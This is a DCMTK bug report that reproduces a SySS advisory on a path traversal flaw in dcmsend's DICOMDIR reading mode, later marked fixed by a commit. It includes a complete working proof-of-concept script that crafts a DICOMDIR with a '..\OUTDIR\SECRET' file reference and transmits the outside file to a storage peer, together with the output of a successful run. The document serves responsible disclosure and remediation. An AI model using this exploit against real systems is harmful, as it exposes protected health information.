DCMTK - Bug #1244

SYSS-2026-047: Path traversal in dcmsend --read-from-dicomdir

2026-07-03 12:39 - Michael Onken

Status:	Resolved	**Start date:**	2026-07-03
Priority:	High	**Due date:**	
Assignee:		**% Done:**	0%
Category:		**Estimated time:**	0:00 hour
Target version:			
Module:	dcmnet	**Compiler:**	All
Operating System:	All		

Description

As reported by Matthias Deeg (SySS GmbH):

SYSS-2026-047 — Path traversal in dcmsend --read-from-dicomdir

Field	Value
Advisory ID	SYSS-2026-047
Product	DCMTK (DICOM Toolkit)
Manufacturer	OFFIS e.V. / DCMTK Community
Affected Version(s)	3.7.0
Tested Version(s)	3.7.0
Vulnerability Type	Path traversal (CWE-22)
Risk Level	High
Solution Status	Open
Manufacturer Notification	2026-07-02
CVE Reference	Not yet assigned
Author of Advisory	Matthias Deeg, SySS GmbH

Overview

DCMTK is an open-source collection of libraries and applications implementing large parts the DICOM (Digital Imaging and Communications in Medicine) standard. [1]

DCMTK's dcmsend is vulnerable to path traversal when it is instructed to read input files from a specially crafted DICOMDIR. This can lead to unauthorized disclosure of readable DICOM objects, including protected health information.

Vulnerability Details

```
The dcmsend command line option --read-from-dicomdir (+rd) enables
DcmStorageSCU::ReadFromDICOMDIRMode. In this mode, a DICOMDIR input file
is not sent itself. Instead, dcmsend reads the DICOMDIR and adds the
referenced SOP instances to its transfer list.

The affected implementation is DcmStorageSCU::addDicomFilesFromDICOMDIR()
in dcmnet/libsrc/dstorscu.cc. The function searches the DICOMDIR dataset
for ReferencedFileID (0004,1500) elements, converts DICOM backslashes to
host path separators with dicomToHostFilename(), and then combines the
result with the DICOMDIR directory:

  const OFFilename tmpFilename(dicomToHostFilename(fileID, tmpString),
                               pathName.usesWideChars());
  OFStandard::combineDirAndFilename(pathName, dirName, tmpFilename,
```

```
                                    OFTrue /* allowEmptyDirName */);

dicomToHostFilename() only replaces "\\" with the host path separator.
It does not reject ".." components, absolute paths, or other traversal
patterns. OFStandard::combineDirAndFilename() also does not canonicalize
the result or verify that the final path remains below the DICOMDIR
directory. A ReferencedFileID such as "..\\OUTDIR\\SECRET" therefore
becomes a host path like "MEDIA/../OUTDIR/SECRET".

The attack chain is:
  1. Attacker crafts a DICOMDIR with an IMAGE directory record whose
     ReferencedFileID contains traversal components, for example
     "..\\OUTDIR\\SECRET".

  2. The same record contains ReferencedSOPClassUIDInFile,
     ReferencedSOPInstanceUIDInFile, and
     ReferencedTransferSyntaxUIDInFile values matching the targeted DICOM
     object.

  3. The victim runs dcmsend with --read-from-dicomdir (+rd) against the
     crafted DICOMDIR.

  4. dcmsend resolves the ReferencedFileID relative to the DICOMDIR
     location without rejecting the traversal.

  5. dcmsend opens and transmits the traversed DICOM file to the
     configured remote storage SCP.
```

Proof of Concept (PoC)

```
To demonstrate this security isssue, a PoC exploit was developed that
sends a DICOM file outside the media directory to an attacker when an
attacker-controlled DICOMDIR is used by dcmsend.

The crafted DICOMDIR contains a path traversal attack vector in
ReferencedFileID.

The following

cat > poc.sh << 'EOPOC'
#!/bin/bash
# Demonstrate DICOMDIR ReferencedFileID path traversal via dcmsend

set -u

WORKDIR="$(mktemp -d /tmp/dcmtk-dcmsend.XXXXXX)"
MEDIA_DIR="${WORKDIR}/MEDIA"
OUTSIDE_DIR="${WORKDIR}/OUTDIR"
RECV_DIR="${WORKDIR}/recv"
TARGET_DUMP="${WORKDIR}/target.dump"
DICOMDIR="${MEDIA_DIR}/DICOMDIR"
TARGET_FILE="${OUTSIDE_DIR}/SECRET"
DCMSEND_LOG="${WORKDIR}/dcmsend.log"
STORESCP_LOG="${WORKDIR}/storescp.log"

cleanup()
{
    if [ -n "${STORESCP_PID:-}" ]; then
        kill "${STORESCP_PID}" 2>/dev/null || true
        wait "${STORESCP_PID}" 2>/dev/null || true
    fi
    rm -rf "${WORKDIR}"
}
trap cleanup EXIT

require_tool()
```

```
{
    command -v "$1" >/dev/null 2>&1 || {
        echo "[!] Missing required tool: $1"
        exit 1
    }
}

require_tool dump2dcm
require_tool dcmdump
require_tool dcmsend
require_tool storescp
require_tool python3

mkdir -p "${MEDIA_DIR}" "${OUTSIDE_DIR}" "${RECV_DIR}"

cat > "${TARGET_DUMP}" <<'EOF'
# Dicom-File-Format

# Dicom-Meta-Information-Header
# Used TransferSyntax: Little Endian Explicit
(0002,0001) OB 00\01
(0002,0002) UI =SecondaryCaptureImageStorage
(0002,0003) UI [1.2.826.0.1.3680043.10.543.777.1]
(0002,0010) UI =LittleEndianExplicit
(0002,0012) UI [1.2.826.0.1.3680043.10.543.370]
(0002,0013) SH [H7POC]

# Dicom-Data-Set
# Used TransferSyntax: Little Endian Explicit
(0008,0005) CS [ISO_IR 100]
(0008,0016) UI =SecondaryCaptureImageStorage
(0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1]
(0008,0020) DA [20260630]
(0008,0030) TM [120000]
(0008,0060) CS [OT]
(0008,0064) CS [WSD]
(0010,0010) PN [POC^TRAVERSED]
(0010,0020) LO [H7DCMSEND]
(0020,000d) UI [1.2.826.0.1.3680043.10.543.777.2]
(0020,000e) UI [1.2.826.0.1.3680043.10.543.777.3]
(0020,0010) SH [1]
(0020,0011) IS [1]
(0020,0013) IS [1]
(0028,0002) US 1
(0028,0004) CS [MONOCHROME2]
(0028,0010) US 1
(0028,0011) US 1
(0028,0100) US 8
(0028,0101) US 8
(0028,0102) US 7
(0028,0103) US 0
(7fe0,0010) OB 00\00
EOF

dump2dcm "${TARGET_DUMP}" "${TARGET_FILE}" || exit 1

python3 - "${DICOMDIR}" <<'PY'
import struct
import sys

out = sys.argv[1]

def even(value, pad=b" "):
    return value if len(value) % 2 == 0 else value + pad

def elem(tag, vr, value):
    group, element = tag
```

```
    if isinstance(value, str):
        value = value.encode("ascii")
    if vr == "UI":
        value = even(value, b"\0")
    elif vr not in ("OB", "OD", "OF", "OL", "OW", "SQ", "UC", "UR", "UT", "UN"):
        value = even(value, b" ")
    data = struct.pack("<HH", group, element) + vr.encode("ascii")
    if vr in ("OB", "OD", "OF", "OL", "OW", "SQ", "UC", "UR", "UT", "UN"):
        data += b"\0\0" + struct.pack("<I", len(value))
    else:
        data += struct.pack("<H", len(value))
    return data + value

def item(content):
    return struct.pack("<HHI", 0xFFFE, 0xE000, len(content)) + content

sop_class = "1.2.840.10008.5.1.4.1.1.7"
sop_inst = "1.2.826.0.1.3680043.10.543.777.1"
transfer_syntax = "1.2.840.10008.1.2.1"

record = b"".join([
    elem((0x0004, 0x1400), "UL", struct.pack("<I", 0)),
    elem((0x0004, 0x1410), "US", struct.pack("<H", 0xFFFF)),
    elem((0x0004, 0x1420), "UL", struct.pack("<I", 0)),
    elem((0x0004, 0x1430), "CS", "IMAGE"),
    elem((0x0004, 0x1500), "CS", r"..\OUTDIR\SECRET"),
    elem((0x0004, 0x1510), "UI", sop_class),
    elem((0x0004, 0x1511), "UI", sop_inst),
    elem((0x0004, 0x1512), "UI", transfer_syntax),
])

dataset = b"".join([
    elem((0x0004, 0x1130), "CS", "H7POC"),
    elem((0x0004, 0x1200), "UL", struct.pack("<I", 0)),
    elem((0x0004, 0x1202), "UL", struct.pack("<I", 0)),
    elem((0x0004, 0x1212), "US", struct.pack("<H", 0)),
    elem((0x0004, 0x1220), "SQ", item(record)),
])

meta_body = b"".join([
    elem((0x0002, 0x0001), "OB", b"\0\1"),
    elem((0x0002, 0x0002), "UI", "1.2.840.10008.1.3.10"),
    elem((0x0002, 0x0003), "UI", "1.2.826.0.1.3680043.10.543.777.999"),
    elem((0x0002, 0x0010), "UI", transfer_syntax),
    elem((0x0002, 0x0012), "UI", "1.2.826.0.1.3680043.10.543.370"),
    elem((0x0002, 0x0013), "SH", "H7POC"),
])
meta = elem((0x0002, 0x0000), "UL", struct.pack("<I", len(meta_body))) + meta_body

with open(out, "wb") as handle:
    handle.write(b"\0" * 128 + b"DICM" + meta + dataset)
PY

PORT="$(python3 - <<'PY'
import socket
s = socket.socket()
s.bind(("127.0.0.1", 0))
print(s.getsockname()[1])
s.close()
PY
)"

echo "[*] DICOMDIR is inside: ${MEDIA_DIR}"
echo "[*] Referenced target is outside: ${TARGET_FILE}"
echo "[*] DICOMDIR ReferencedFileID:"
dcmdump +P 0004,1500 "${DICOMDIR}"
```

```
(timeout 30 storescp --single-process -od "${RECV_DIR}" "${PORT}" >"${STORESCP_LOG}" 2>&1) &
STORESCP_PID=$!
sleep 1

set +e
dcmsend -v +rd 127.0.0.1 "${PORT}" "${DICOMDIR}" >"${DCMSEND_LOG}" 2>&1
RC=$?
set -e
sleep 1
kill "${STORESCP_PID}" 2>/dev/null || true
wait "${STORESCP_PID}" 2>/dev/null || true
STORESCP_PID=""

cat "${DCMSEND_LOG}"

RECEIVED_FILE="$(find "${RECV_DIR}" -type f | head -n 1)"
if [ "${RC}" -eq 0 ] &&
   [ -n "${RECEIVED_FILE}" ] &&
   dcmdump +P 0010,0010 "${RECEIVED_FILE}" | grep -q "POC\\^TRAVERSED"; then
    echo "[+] SUCCESS: dcmsend followed '..\\\\OUTDIR\\\\SECRET' and transmitted the outside file"

    dcmdump +P 0010,0010 +P 0010,0020 +P 0008,0018 "${RECEIVED_FILE}"
    exit 0
fi

echo "[!] FAILED: traversal transmission was not verified"
echo "[!] Workdir retained for inspection: ${WORKDIR}"
trap - EXIT
exit 1
EOPOC

A successful attack is indicetad by output similar to:

./poc.sh
[*] DICOMDIR is inside: /tmp/dcmtk-dcmsend.PBsYZC/MEDIA
[*] Referenced target is outside: /tmp/dcmtk-dcmsend.PBsYZC/OUTDIR/SECRET
[*] DICOMDIR ReferencedFileID:
(0004,1500) CS [..\OUTDIR\SECRET]                       #  16, 3 ReferencedFileID
I: checking input files ...
I: starting association #1
I: initializing network ...
I: negotiating network association ...
I: Requesting Association
I: Association Accepted (Max Send PDV: 16372)
I: sending SOP instances ...
I: Sending C-STORE Request (MsgID 1, SC)
I: Received C-STORE Response (Success)
I: Releasing Association
I:
I: Status Summary
I: --------------
I: Number of associations   : 1
I: Number of pres. contexts : 1
I: Number of SOP instances  : 1
I: - sent to the peer       : 1
I:   * with status SUCCESS  : 1
[+] SUCCESS: dcmsend followed '..\\OUTDIR\\SECRET' and transmitted the outside file
(0010,0010) PN [POC^TRAVERSED]                          #  14, 1 PatientName
(0010,0020) LO [H7DCMSEND]                              #  10, 1 PatientID
(0008,0018) UI [1.2.826.0.1.3680043.10.543.777.1]       #  32, 1 SOPInstanceUID

This demonstrates that dcmsend reads a file outside the DICOMDIR
directory and transmits it to the configured DICOM peer.
```

Solution

For dcmsend, reject unsafe ReferencedFileID values before adding them to the transfer list. At minimum, reject absolute paths and any path component equal to ".." after DICOM-to-host path conversion.

In addition, canonicalize the DICOMDIR directory and the final referenced file path, then verify that the referenced file remains within the expected DICOMDIR file-set root before opening or transmitting it. This check should be performed after path separator conversion and before creating the TransferEntry.

Disclosure Timeline

```
2026-07-02: Vulnerability reported to manufacturer
```

References

- DCMTK project website https://dcmtk.org/en/
- SySS Security Advisory SYSS-2026-047 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-047.txt
- SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy

Credits

```
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.

E-Mail: matthias.deeg (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Matthias_Deeg.asc
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
```

Disclaimer

The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website.

Copyright

History

#1 - 2026-07-03 14:32 - Michael Onken

- Status changed from New to Resolved

Fixed with commit 225ff1e0e42efcac64a5275e8f06ade14ca509b5